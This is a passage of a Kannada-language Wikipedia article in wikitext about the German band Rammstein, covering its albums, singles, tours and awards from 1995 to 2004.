ವೃತ್ತಿಪರ ಸ್ಟೂಡಿಯೋ ದಲ್ಲಿ ಧ್ವನಿ ಮುದ್ರಿಸುವ ಅವಕಾಶ ನೀಡಲಾಗಿತ್ತು. ಕ್ರೂಸ್ ಪೆ, ಸ್ಚೆನೈಡರ್, ರಿಡೆಲ್ ಮತ್ತು ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಸ್ಪರ್ಧೆಯಲ್ಲಿ ಭಾಗವಹಿಸಿ ಜಯಗಳಿಸಿದರು. ಇದು ಅವರ ಡೆಮೋವನ್ನು ಕೇಳಿ ಅವರನ್ನು ತಮ್ಮ ಯೋಜನೆಯಲ್ಲಿ ಸೇರಿಸಿಕೊಳ್ಳಬೇಕೆಂದಿದ್ದ [[ಪಾಲ್ H. ಲ್ಯಾಂಡರ್ಸ್]] ನ ಗಮನ ಸೆಳೆಯಿತು. ಅದರ ತಂಡವನ್ನು ಪೂರ್ಣಗೊಳಿಸಲು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ [[ಕ್ರಿಶ್ಚಿನ್ "ಫ್ಲೇಕ್" ಲಾರೆನ್ಜ್]] ನನ್ನು ತಂಡಕ್ಕೆ ಸೇರಿಸಿಕೊಳ್ಳುವ ಪ್ರಯತ್ನ ಮಾಡಿತು. ಈತ [[ಫೀಲಿಂಗ್ ಬಿ]] ತಂಡದಲ್ಲಿ ಪಾಲ್ H. ಲ್ಯಾಂಡರ್ಸ್ ನ ಜೊತೆಯಲ್ಲಿ ಕೆಲಸ ಮಾಡಿದ್ದ. ಮೊದಮೊದಲು ಲಾರೆನ್ಜ್ ನಿರಾಕರಿಸಿದರೂ ನಂತರ ವಾದ್ಯ ವೃಂದವನ್ನು ಸೇರಿಕೊಳ್ಳಲು ಒಪ್ಪಿಕೊಂಡ. [[ಚಿತ್ರ:Rammstein-flamethrowers.jpg|thumb|right|265px|ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಅವರ ಪ್ರಸಿದ್ಧ ಹಾಡುಗಳಲ್ಲಿ ಒಂದಾದ "ಫೆಯರ್ ಫ್ರೆ" ಹಾಡಿಗೆ 2004 ಸ್ವಿಡನ್ ನ ಸ್ಟಾಕ್ಲೋಮ್ ನ ಎರಿಕ್ಸನ್ ಗ್ಲೋಬ್ ನಲ್ಲಿ ಭಾವೋದ್ವೇಗ ಪ್ರದರ್ಶನದ ತಂತ್ರಗಳನ್ನು ಬಳಸಿತು.]] === ''ಹರ್ಜಲೈಡ್'' (1995–1997) === ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಅದರ ಮೊಟ್ಟ ಮೊದಲನೆಯ ಸ್ಟೂಡಿಯೋ ಆಲ್ಬಂ ಅನ್ನು [[ಹರ್ಜಲೈಡ್]] ಎಂಬ ಹೆಸರಿನಲ್ಲಿ [[ಜಾಕೋಬ್ ಹೆಲ್ನರ್]] ಎಂಬ ನಿರ್ಮಾಪಕನೊಡನೆ ಮಾರ್ಚ್ 1995 ರಲ್ಲಿ ಧ್ವನಿ ಮುದ್ರಣ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿತು.<ref>{{cite web | url = http://www.rammstein.com/_Voelkerball/Band/Timeline/T1995/ | title = Rammstein :: Band :: Timeline | accessdate = 2008-06-21 | publisher = Rammstein.com | archive-date = 2008-06-13 | archive-url = https://web.archive.org/web/20080613205805/http://www.rammstein.com/_Voelkerball/Band/Timeline/T1995/ | url-status = dead }}</ref> ಅವರು ತಮ್ಮ ಮೊಟ್ಟ ಮೊದಲನೆಯ ಏಕಗೀತೆಯಾದ "[[ಡು ರೈಚಸ್ಟ್ ಸೋ ಗಟ್]]" ಅನ್ನು ಆಗಸ್ಟ್ 17ರಂದು ಬಿಡುಗಡೆ ಮಾಡಿದರು.ಅಲ್ಲದೇ ನಂತರ ಅದನ್ನು 1995 ಸೆಪ್ಟೆಂಬರ್ 24 ರಂದು ಬಿಡುಗಡೆ ಮಾಡಿದರು. ಅದೇ ವರ್ಷದ ನಂತರ [[ಕ್ಲಾವ್ ಫಿಂಗರ್]] ವಾದ್ಯ ವೃಂದದ ಜೊತೆಯಲ್ಲಿ ವಾರ್ ಸಾವ್ ಮತ್ತು ಪ್ರಾಗ್ಯೂ ನಗರಗಳಲೆಲ್ಲ ಪ್ರವಾಸ ಮಾಡಿದರು. ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಅದರ ಸ್ವಂತ ಸ್ಥಳವಾದ ಜರ್ಮನಿಯ ಮೂಲಕ ಡಿಸೆಂಬರ್ 2 ರಿಂದ ಡಿಸೆಂಬರ್ 24 ರ ವರೆಗೆ 17 ಪ್ರದರ್ಶನಗಳನ್ನು ಒಳಗೊಂಡ ಅದರ ಪ್ರವಾಸಕ್ಕೆ ಶೀರ್ಷಿಕೆ ನೀಡಿತು. ಇದು ವಾದ್ಯವೃಂದದ ಜನಪ್ರಿಯತೆ ಹೆಚ್ಚಿಸಲು ಸಹಾಯ ಮಾಡಿತು. ಅವರ ಎರಡನೆಯ ಏಕಗೀತೆ ಆಲ್ಬಂ ಅನ್ನು [[ಸೀ ಮನ್]] ಎಂಬ ಹೆಸರಿನಲ್ಲಿ 1996 ಜನವರಿ 8 ರಂದು ಬಿಡುಗಡೆ ಮಾಡುತ್ತ 1996 ರ ವರ್ಷದಾದ್ಯಂತ ಅನೇಕ ಪ್ರವಾಸವನ್ನು ನಡೆಸಿದರು. ಮಾರ್ಚ್ 27 ರಂದು , ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಲಂಡನ್ ನಲ್ಲಿ [[MTV]]'ಯ ''ಹ್ಯಾಗಿಂಗ್ ಔಟ್ '' ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ಭಾಗವಹಿಸಿತು:ಇದು UK ಯಲ್ಲಿ ಅವರ ಮೊದಲ ಪ್ರದರ್ಶನವಾಗಿದೆ. ಸಂಗೀತ ನಿರ್ದೇಶಕ [[ಟ್ರೆನ್ಟ್ ರೆನ್ಜರ್]] ಎರಡು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಹಾಡುಗಳು ಹೈರೇಟ್ ಮಿಚ್ ಮತ್ತು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನನ್ನು [[ಡೇವಿಡ್ ಲಿಂಚ್]]ನ ಚಲನಚಿತ್ರ ''[[ಲಾಸ್ಟ್ ಹೈವೇ]]'' ಗೆ ಆರಿಸಿಕೊಂಡ.ಇದರಿಂದ ಜರ್ಮನಿಯ ಹೊರಗೆ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌' ಜನಪ್ರಿಯತೆ ಹೆಚ್ಚಿತು. ಚಲನಚಿತ್ರಕ್ಕೆ ಧ್ವನಿಮುದ್ರಿಕೆಯನ್ನು US ನಲ್ಲಿ 1996 ರ ಕೊನೆಯಲ್ಲಿ ಹಾಗು ಯುರೋಪ್ ನಲ್ಲಿ 1997 ಏಪ್ರಿಲ್ ನಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಿತು. ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಜರ್ಮನಿ , ಆಸ್ಟ್ರೇಲಿಯ , ಸ್ವಿಜರ್ ಲ್ಯಾಂಡ್ ಮೂಲಕ 1996 ರ ಅಕ್ಟೋಬರ್ ನಿಂದ ಸೆಪ್ಟೆಂಬರ್ ವರೆಗೆ ಪ್ರವಾಸ ಮಾಡಿತು . ಇದರ ವಾರ್ಷಿಕ ಗಾನಗೋಷ್ಠಿಯನ್ನು ಸೆಪ್ಟೆಂಬರ್ 27 ರಲ್ಲಿ ಪ್ರದರ್ಶಿಸಿತು . ಈ ಪ್ರದರ್ಶನವನ್ನು "ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ನ 100 ವರ್ಷಗಳು" ಎಂದು ಕರೆಯಲಾಗುತ್ತೆ. ಗಾನ ಗೋಷ್ಠಿ [[ಮೊಬಿ]] [[ಬೊಬೋ]] ಮತ್ತು ಬರ್ಲಿನ್ ಸೆಷನ್ ಆರ್ಕೇಸ್ಟ್ರ , ಲೈಟ್ ಶೋಗೆ ಕಾರಣನಾದ ಬರ್ಲಿನ್ ನಿರ್ದೇಶಕ ಗೆರ್ಟ್ ಹಾಫ್ ಅತಿಥಿ ಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು. === ''ಸೆನ್ ಸುಚ್ಟ್'' ಮತ್ತು ''ಲೈವ್ ಆಸ್ ಬರ್ಲೀನ್'' ( 1996–2000ಕೊನೆಯ) === ನವೆಂಬರ್ 1996ರಲ್ಲಿ ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ಮಾಲ್ಟಾದ ಟೆಂಪಲ್ ಸ್ಟೂಡಿಯೋ ದಲ್ಲಿ ''[[ಸೆನ್ ಸುಚ್ಟ್]]'' ನೇರ ಪ್ರದರ್ಶನದ ಆಲ್ಬಂ ನ ಧ್ವನಿ ಮುದ್ರಣವನ್ನು ಪ್ರಾರಂಭಿಸಿತು.<ref>{{cite web | url = http://www.rammstein.com/_Voelkerball/Band/Timeline/T1996/ | title = Rammstein :: Band :: Timeline | accessdate = 2008-06-21 | publisher = Rammstein.com | archive-date = 2008-06-13 | archive-url = https://web.archive.org/web/20080613205810/http://www.rammstein.com/_Voelkerball/Band/Timeline/T1996/ | url-status = dead }}</ref> ಈ ಆಲ್ಬಂ 0}ಜಾಕೋಬ್ ಹೆಲ್ನರ್ ನಿಂದ ಮತ್ತೆ ನಿರ್ಮಿಸಲ್ಪಟ್ಟಿತು. ಆಲ್ಬಂ ನ ಮೊದಲನೆಯ ಅರ್ಧಭಾಗಕ್ಕೆ ''[[ಏಂಜಲ್]]'' ಎಂಬ ಹೆಸರಿಡಲಾಯಿತು. ಇದನ್ನು 1997 ರ ಏಪ್ರಿಲ್ 1 ರಂದು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಅಲ್ಲದೇ ಮೇ 24 ರಂದು ಜರ್ಮನಿಯ ಗೋಲ್ಡ್ ಸ್ಟೇಟಸ್ ಪ್ರಶಸ್ತಿಗೂ ಕೂಡ ಆಯ್ಕೆಯಾಯಿತು. ಇದು ಅವರನ್ನು ಏಕಗೀತೆಯ ಫ್ಯಾನ್ ಎಡಿಷನ್ ನನ್ನು ಬಿಡುಗಡೆ ಮಾಡುವಂತೆ ಪ್ರಚೋದಿಸಿತು.ಈ ಫ್ಯಾನ್ ಎಡಿಷನ್ ಗೆ ''ಏಂಜಲ್ ಫ್ಯಾನ್ ಎಡಿಷನ್'' ಎಂದು ಹೆಸರಿಸಲಾಯಿತು. ಇದು ಬಿಡುಗಡೆಯಾಗದ ಹಿಂದಿನ ಎರಡು ಹಾಡುಗಳು: "ಫ್ಯೂರ್ಯಾಡರ್" ಮತ್ತು "ವೈಲ್ಡರ್" ಅನ್ನು ಒಳಗೊಂಡಿದೆ. ''ಸೆನ್ ಸುಚ್ಟ್'' ನಿಂದ ಹೊರಬಂದ ಎರಡನೇ ಏಕಗೀತೆ "[[ಡು ಹ್ಯಾಸ್ಟ್]] ". ಇದು ಜರ್ಮನ್ ಏಕಗೀತೆ ಪಟ್ಟಿಯನ್ನು ಆಗಸ್ಟ್ 1997 ನವೆಂಬರ್ 5 ರಂದು ದಾಖಲೆ ನಿರ್ಮಿಸಿತು. ರಾಹ್ಮ್ಮ್ ಶ್ಟೈನ್ ನಂತರ ಬೇಸಿಗೆ ಕಾಲದಲ್ಲೂ 1997 ಆಗಸ್ಟ್ 22 ರಂದು ''ಸೆನ್ ಸುಚ್ಟ್'' ಬಿಡುಗಡೆಯಾಗುವ ವರೆಗೂ ತನ್ನ ಪ್ರವಾಸವನ್ನು ಮುಂದುವರೆಸಿತು. ಜರ್ಮನಿಯಲ್ಲಿ ಪಟ್ಟಿಯ ಎರಡು ವಾರಗಳ ನಂತರದಲ್ಲಿ ಆಲ್ಬಂ ನಂಬರ್ 1 ಪಟ್ಟವನ್ನು ಪಡೆಯಿತು. ಅದೇ ರೀತಿಯಲ್ಲಿ ''[[ಹರ್ಜಲೈಡ್]]'' ಮತ್ತು ''ಸೆನ್ ಸುಚ್ಟ್'' ಎರಡೂ ಅರ್ಧಗಳು ("[[ಡು ಹ್ಯಾಸ್ಟ್]]" ಮತ್ತು "[[ಏಂಜಲ]]") ಜರ್ಮನ್ ಪಟ್ಟಿಯ ಪ್ರಮುಖ 20 ವಾದ್ಯ ವೃಂದಗಳಲ್ಲಿ ಸ್ಥಾನವನ್ನು ಪಡೆದಿದ್ದವು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಸೆಪ್ಟೆಂಬರ್ ಅಕ್ಟೋಬರ್ ನಲ್ಲಿ ಯುರೋಪಾದ್ಯಾಂತವಾಗಿ ತನ್ನ ಮಾರಾಟವಾದ ಶೀರ್ಷಿಕೆಯ ಶೋಗಳನ್ನು ಮುಂದುವರೆಸಿತು. 1997 ಡಿಸೆಂಬರ್ 5 ರಂದು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ [[KMFDM]] ನ ಜೊತೆಯಲ್ಲಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ ಗೆ ಅದರ ಮೊಟ್ಟ ಮೊದಲನೆಯ ಪ್ರವಾಸಕ್ಕೆ ತೆರಳಿತು. ಆಗಸ್ಟ್ 22-23 ರಂದು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಬರ್ಲಿನ್ ನ ವುಹಲ್ ಹ್ಯೇಡ್ ನಲ್ಲಿ 17,000 ಅಭಿಮಾನಿಗಳ ಎದುರು ತನ್ನ ಪ್ರದರ್ಶನ ನೀಡಿತು. ಇದು ಆ ಸಮಯದಲ್ಲಿ ಪ್ರದರ್ಶಿಸಿದ ಪ್ರದರ್ಶನಗಳಲ್ಲೆಲ್ಲಾ ಅತ್ಯಂತ ದೊಡ್ಡ ಪ್ರದರ್ಶನವಾಗಿದೆ. [[ಡ್ಯಾನ್ ಜಿಂಗ್]], [[ನಿನಾ ಹ್ಯಾಗನ್]] , [[ಜೋಚಿಮ್ ವಿಟ್]] ಮತ್ತು [[ಅಲಸ್ಕ]] ಇವರು ಪೋಷಕ ಕಲಾವಿದರಾಗಿದ್ದರು. ಮುಂದೆ ಬರಲಿರುವ ಅವರ ನೇರ ಪ್ರದರ್ಶನದ DVD ''[[ಲೈವ್ ಆಸ್ ಬರ್ಲಿನ್]]'' ನ ಸಂಧರ್ಭದಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡುವ ಉದ್ದೇಶದಿಂದ ಈ ಪ್ರದರ್ಶನವನ್ನು ಚಲನಚಿತ್ರವನ್ನಾಗಿ ಮಾಡಲಾಯಿತು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 1998 ರ ಸೆಪ್ಟೆಂಬರ್ ನಿಂದ ಅಕ್ಟೋಬರ್ ಕೊನೆಯ ವರೆಗೆ [[ಕಾರ್ನ್]] , [[ಐಸ್ ಕ್ಯೂಬ್]], [[ಓರ್ಜಿ]] ಮತ್ತು [[ಲಿಂಪ್ ಬಿಜ್ ಕಿಟ್]] ವಾದ್ಯವೃಂದಗಳೊಂದಿಗೆ ನೇರ ಪ್ರವಾಸ ಮಾಡಿತು. ಈ ಪ್ರವಾಸವನ್ನು [[ಫ್ಯಾಮಿಲಿ ವ್ಯಾಲ್ಯೂ ಪ್ರವಾಸ]]ವೆಂದು ಹೆಸರಿಸಲಾಯಿತು. US ನಲ್ಲಿ ತನ್ನ ವಿಜಯಯಾತ್ರೆಯನ್ನು ಮುಂದುವರೆಸುತ್ತಾ ''ಸೆನ್ ಸುಚ್ಟ್'' ನವೆಂಬರ್ 2 ರಂದು ಗೋಲ್ಡ್ ರೆಕಾರ್ಡ್ ಸ್ಟೇಟಸ್ ಪ್ರಶಸ್ತಿ ಪಡೆದುಕೊಂಡಿತು. ವಾದ್ಯವೃಂದವು ''ಅತ್ಯುತ್ತಮ ರಾಕ್ ಪ್ರದರ್ಶನ'' ಕ್ಕೆ ಕೊಡುವ [[MTV ಯುರೋಪಿಯನ್ ಸಂಗೀತ ಪ್ರಶಸ್ತಿ]]ಗಳಿಗೆ ಆಯ್ಕೆಯಾಯಿತು.ಅಲ್ಲದೇ ಆ ವರ್ಷದ ನವೆಂಬರ್ 12 ರಂದು "[[ಡು ಹ್ಯಾಸ್ಟ್]]" ನ ನೇರ ಪ್ರದರ್ಶನ ನೀಡಿತು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 1999 ರ ವರ್ಷದ ಮೊದಲಿಗೆ ಫೆಬ್ರವರಿಯಲ್ಲಿ ''ಅತ್ಯುತ್ತಮ ಮೆಟಲ್ ಪ್ರದರ್ಶನ'' ಗಳಿಗೆ ನೀಡುವ 42ನೇ ವಾರ್ಷಿಕ[[ಗ್ರ್ಯಾಮಿ ಪ್ರಶಸ್ತಿಗೆ]] ನಾಮ ನಿರ್ದೇಶನವಾಗುವ ಮೂಲಕ ತನ್ನ ವಿಜಯವನ್ನು ಮುಂದುವರೆಸಿತು. ಒಂದು ವರ್ಷದ ನಂತರ ಅದು ಚಲನಚಿತ್ರವಾದ ಬಳಿಕ ''[[ದಿ ಲೈವ್ ಆಸ್ ಬರ್ಲಿನ]]'' ನ ಗಾನಗೋಷ್ಠಿಯ CD ಯಲ್ಲಿ 1999 ಆಗಸ್ಟ್ 30 ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು.CDಗಳ ಪರಿಮಿತ ಸಂಖ್ಯೆಯ ಆವೃತ್ತಿ ಕೂಡ ಸಿಗುತ್ತದೆ. ಅದು ಬಿಡುಗಡೆಯಾದ ಎರಡು ವಾರಗಳ ನಂತರ ''[[ಲೈವ್ ಆಸ್ ಬರ್ಲಿನ್]]'' ಜರ್ಮನ್ ಆಲ್ಬಂ ಪಟ್ಟಿಯಲ್ಲಿ ನಂಬರ್ 1 ಪಟ್ಟವನ್ನೇರಿತು. 1999ರ ಸೆಪ್ಟೆಂಬರ್ 13 ಮತ್ತು ನವೆಂಬರ್ 26 ರ ರಂದು ಗಾನಗೋಷ್ಠಿಯ ವಿಡಿಯೋ ಮತ್ತು DVD ಆವೃತ್ತಿಗಳು ಅನುಕ್ರಮವಾಗಿ ಬಿಡುಗಡೆಯಾದವು. === ಮುಟ್ಟರ್ (2000–2002) === ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಆಲ್ಬಂ ಆದ ''[[ಮುಟ್ಟರ್]]'' ನ ಧ್ವನಿ ಮುದ್ರಣವನ್ನು ಫ್ರಾನ್ಸ್ ನ ದಕ್ಷಿಣದಲ್ಲಿ ಮೇ 2000 ದಿಂದ ಜೂನ್ 2000 ದ ನಡುವೆ ಮಾಡಲಾಯಿತು, ನಂತರ ಅದೇ ವರ್ಷದ ಅಕ್ಟೋಬರ್ ನಲ್ಲಿ [[ಸ್ಟಾಕ್ಲೋಮ್]] ನಲ್ಲಿ ನಡೆಸಲಾಯಿತು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 2000ದ ಕ್ರಿಸ್ ಮಸ್ ಸಮಯದಲ್ಲಿ "[[ಲಿಂಕ್ಸ್ 2-3-4]]" ನ MP3 ಯನ್ನು ಅದರ ಹೊಸ ಆಲ್ಬಂನ ಪ್ರಾಯೋಗಿಕವಾಗಿ ಬಿಡುಗಡೆಮಾಡಿತು. ಜನವರಿ ಮತ್ತು ಫೆಬ್ರವರಿಯ ಮೊದಲಿನಿಂದ ಆಸ್ಟ್ರೇಲಿಯ ಮತ್ತು ನ್ಯೂಜಿಲ್ಯಾಂಡ್ ನಲ್ಲಿ [[ಬಿಗ್ ಡೆ ಔಟ್ ಸಂಗೀತೋತ್ಸವ]]ವನ್ನು ಪ್ರದರ್ಶಿಸುವ ವಾದ್ಯವೃಂದಗಳ ಜೊತೆಯಲ್ಲಿ 2001 ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಗೆ ಅತ್ಯಂತ ಚಟುವಟಿಕೆಯ ಕಾರ್ಯೋನ್ಮುಖ ವರ್ಷವಾಗಿದೆ. ಮುಂದೆ ಬರಲಿರುವ ಅವರ ಏಕಗೀತೆ [[ಸೊನ್ನೆ]]ಯ ವಿಡಿಯೋ ಶೂಟಿಂಗ್ಅನ್ನು ಜನವರಿಯಲ್ಲಿಯೂ ಕೂಡ ನಡೆಸಲು ಉದ್ದೇಶಿಸಲಾಗಿತ್ತು. ಇದರ ಧ್ವನಿ ಮುದ್ರಣ ಬ್ಯಾಬೆಲ್ಸ್ ಬರ್ಗರ್ ಫೀಲ್ಮ್ ಸ್ಟೂಡಿಯೋದ [[ಪಾಟ್ಸ್ ಡ್ಯಾಮ್]] ನಲ್ಲಿ 2001 ಜನವರಿ 13-15 ರಂದು ನಡೆಯಿತು. ಈ ವಿಡಿಯೋ 2001 ಜನವರಿ 29 ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. "ಸೊನ್ನೆ" ಏಕಗೀತೆ ಆಲ್ಬಂ ಯುರೋಪ್ ನಲ್ಲಿ 2001 ಫೆಬ್ರವರಿ 12 ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. ಇದು ಹಾಡಿನ ವಾದ್ಯ ಸಂಗೀತದ ಜೊತೆಯಲ್ಲಿ [[ಕ್ಲಾವ್ ಫಿಂಗರ್]] ನ ಮರು ಮಿಶ್ರಿತ ಧ್ವನಿ ಮುದ್ರಣ ಹಾಗು ಮುಂಬರಲಿರುವ ಆಲ್ಬಂ ನ "ಆಡಿವೊಸ್" ಅನ್ನು ಒಳಗೊಂಡಿದೆ. ''[[ಮುಟ್ಟರ್]]'' ಜರ್ಮನಿ , ಆಸ್ಟ್ರೇಲಿಯ , ಸ್ವಿಜರ್ ಲ್ಯಾಂಡ್ ಗಳಲ್ಲಿ ಮತ್ತೊಂದು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಪ್ರವಾಸವನ್ನು ಚುರುಕುಗೊಳಿಸುವ ಮೂಲಕ 2001 ಏಪ್ರಿಲ್ 2 ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. ಮೇ 14 ರಂದು ಆಲ್ಬಂ ನ ಎರಡನೆ ಏಕಗೀತೆ , "ಲಿಂಕ್ಸ್ 2-3-4" ಅನ್ನು ಏಕಗೀತೆಯ ವಿಡಿಯೋ ಜೊತೆಯಲ್ಲಿ ಮೇ 18 ರಂದು ಬಿಡುಗಡೆಮಾಡಿತು. ಜೂನ್ ನಲ್ಲಿ ಮಾಡಿ, ಯುರೋಪಾದ್ಯಂತ ಪ್ರವಾಸದ ನಂತರ ವಾದ್ಯವೃಂದವು ಜೂನ್ ನಿಂದ ಆಗಸ್ಟ್ 2001 ರವರೆಗೆ US, ಕೆನಡ, ಮೆಕ್ಸಿಕೊ ಗಳಲ್ಲಿ ಪ್ರಯಾಣ ಮಾಡಿತು. ಆಲ್ಬಂ ನ ಮೂರನೆಯ ಏಕಗೀತೆ "[[ಇಚ್ ವಿಲ್]]" ಅನ್ನು 2001 ಸೆಪ್ಟೆಂಬರ್ 10 ರಂದು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ''[[ಮುಟ್ಟರ್]]'' ಆಲ್ಬಂ ನ ಪ್ರವಾಸ ಆವೃತ್ತಿ , ಪರ್ಯಾಯ ಆರ್ಟ್ ವರ್ಕ್ ಮತ್ತು "ಇಚ್ ವಿಲ್" ನ ನೇರ ಪ್ರದರ್ಶನದ ಆವೃತ್ತಿ, "ಲಿಂಕ್ಸ್ 2 3 4", "ಸೊನ್ನೆ" ಮತ್ತು "ಸ್ಪೆಲ್ಯೂರ್" ನನ್ನು ಒಳಗೊಂಡಂತೆ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ''[[xXx]]'' ಚಲನಚಿತ್ರದ ಪುಟ್ಟ ದೃಶ್ಯದಲ್ಲಿ ಭಾಗವಹಿಸಲು 2002 ಜನವರಿ 8-12 ರಿಂದ ಪ್ರೆಗ್ಯೂಗೆ ಪ್ರಯಾಣ ಬೆಳೆಸಿತು. ವಾದ್ಯವೃಂದವು ಆರಂಭದ ದೃಶ್ಯದಲ್ಲಿ ಅವರ ಗಾನಗೋಷ್ಠಿಯಲ್ಲಿ "[[ಫೆಯುರ್ ಫ್ರೆ!]]" ಹಾಡನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತ ಕಾಣಿಸಿಕೊಂಡಿದೆ. "ಫೆಯರ್ ಫ್ರೆ" ಹಾಡು 2002 ಅಕ್ಟೋಬರ್ 14 ರಂದು ಯುರೋಪಿನಲ್ಲೆಲ್ಲ ''xXx'' ಧ್ವನಿ ಮುದ್ರಿಕೆಯಿಂದ ಮೊದಲನೆ ಏಕಗೀತೆಯಾಗಿ ಬಿಡುಗಡೆಯಾಯಿತು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಈ ಹಾಡಿನ ಎರಡು ಮರು ಮಿಶ್ರಿತ ಧ್ವನಿ ಮುದ್ರಣವನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿತು. ಏಕಗೀತೆ ಹಾಡಿನ ಪಟ್ಟಿ [[ಬ್ಯಾಟರಿ]]ಯಿಂದ "ಡು ಹ್ಯಾಸ್ಟ್" ಮತ್ತು "ಬುಕ್ ಡಿಚ್" ನ ಕವರ್ ಆವೃತ್ತಿಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಏಕಗೀತೆಯ ವಿಡಿಯೋವನ್ನು ರಾಬ್ ಕೋಹೆನ್ ಪರಿಷ್ಕರಿಸಿದ್ದಾನೆ. ಇದು ಚಲನಚಿತ್ರದ ಆರಂಭದಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಪ್ರದರ್ಶನವನ್ನು ಮತ್ತು ಚಲನಚಿತ್ರದ ಒಂದು ತುಣುಕನ್ನು ಒಳಗೊಂಡಿದೆ. === ರೇಸೆ'', ರೇಸೆ'' (2003–2005) === ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ''[[ರೇಸೆ, ರೇಸೆ]]'' ("ಪ್ರಯಾಣ, ಪ್ರಯಾಣ")ನ ಧ್ವನಿ ಮುದ್ರಣವನ್ನು Elಕಾರ್ಟಿಜೊ ಸ್ಟೂಡಿಯೋದಲ್ಲಿ ಸ್ಪೈನ್ ನ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ 2003 ನವೆಂಬರ್ ಮತ್ತು ಡಿಸೆಂಬರ್ ನ ಅವಧಿಯಲ್ಲಿ ನಡೆಯಿತು. ಇದು ನಂತರ ಸ್ಟಾಕ್ಲೋಮ್ ನ ಟಾಯ್ ಟೌನ್ ಸ್ಟೂಡಿಯೋದಲ್ಲಿ ಹಾಗು ಸ್ವಿಡನ್ ನಲ್ಲಿ 2004 ಏಪ್ರಿಲ್ ಮತ್ತು ಮೇ ಯಲ್ಲಿ ನಡೆಸಲಾಯಿತು. ಆಲ್ಬಂ ನ ಮೊದಲನೆಯ ಏಕಗೀತೆಯಾದ "[[ಮ್ಯೇನ್ ಟಿಲ್]]" ಅನ್ನು 2004 ಜುಲೈ 26 ರಂದು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಬರ್ಲಿನ ಟ್ರೆಪ್ಟೌ ಜಿಲ್ಲೆಯ ಅರೆನದಲ್ಲಿ ವಿಡಿಯೋ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು. ಹೊರಾಂಗಣದ ಚಿತ್ರೀಕರಣ ಡೆವುಟ್ಸ್ ಒಪರ್ ನಲ್ಲಿ (ಒಪೆರ ಹೌಸ) ಹಾಗು [[U-ಬನ್]] ಸ್ಟೇಷನ್ನಿನ ಬಿಸ್ಮಾರ್ಕ್ ಟ್ರೆಸ್ಸೆಯಲ್ಲಿ ನಡೆಯುತ್ತದೆ. ಇದರ ನಿರ್ದೇಶಕ ಜೊಹಾರ್ನ್ ಬಿಹಾರ್ಕ್ "ಲಿಂಕ್ಸ್ 2-3-4" ವಿಡಿಯೋವನ್ನು ಕೂಡ ಚಲನಚಿತ್ರವಾಗಿಸಿದ. ಬರ್ಲಿನ ಮತ್ತು ಜರ್ಮನಿಯಲ್ಲಿ ಹತ್ತಿರದ [[ರುಡರ್ಸ್ ಡ್ರಾಫ್]] ನಲ್ಲಿರುವ ಹಳೆಯ ಸಿಮೆಂಟ್ ಕೆಲಸದ ಅವಶೇಷಗಳಲ್ಲಿ "ಅಮೇರಿಕ"ಕ್ಕಾಗಿ ವಿಡಿಯೋವನ್ನು 2004 ಆಗಸ್ಟ್ 6-7 ರಂದು ಜಾರ್ನ್ ಹಿಟ್ ಮ್ಯಾನ್ ನ( ಇತರರ ಜೊತೆಯಲ್ಲಿ "ಇಚ್ ವಿಲ್" ವಿಡಿಯೋವನ್ನು ನಿರ್ದೇಶಿಸಿದವನು) ನಿರ್ದೇಶನದಲ್ಲಿ ಚಿತ್ರೀಕರಿಸಲಾಯಿತು. ಚಂದ್ರನಿಗೆ ಸಂಬಂಧಪಟ್ಟ ದೃಶ್ಯಗಳನ್ನು ಹಾಲಿವುಡ್ ನಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು. ಅಲ್ಲದೇ ಚಂದ್ರನ ಮೇಲ್ಮೈಅನ್ನು ರೂಪಿಸಲು ಬೇಕಾಗಿರುವ 204 ಟನ್ ಅಷ್ಟು ಬೂದಿಯನ್ನೂ ಕೂಡ ತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು. ವಿಡಿಯೋವನ್ನು 2004 ಆಗಸ್ಟ್ 20ರ 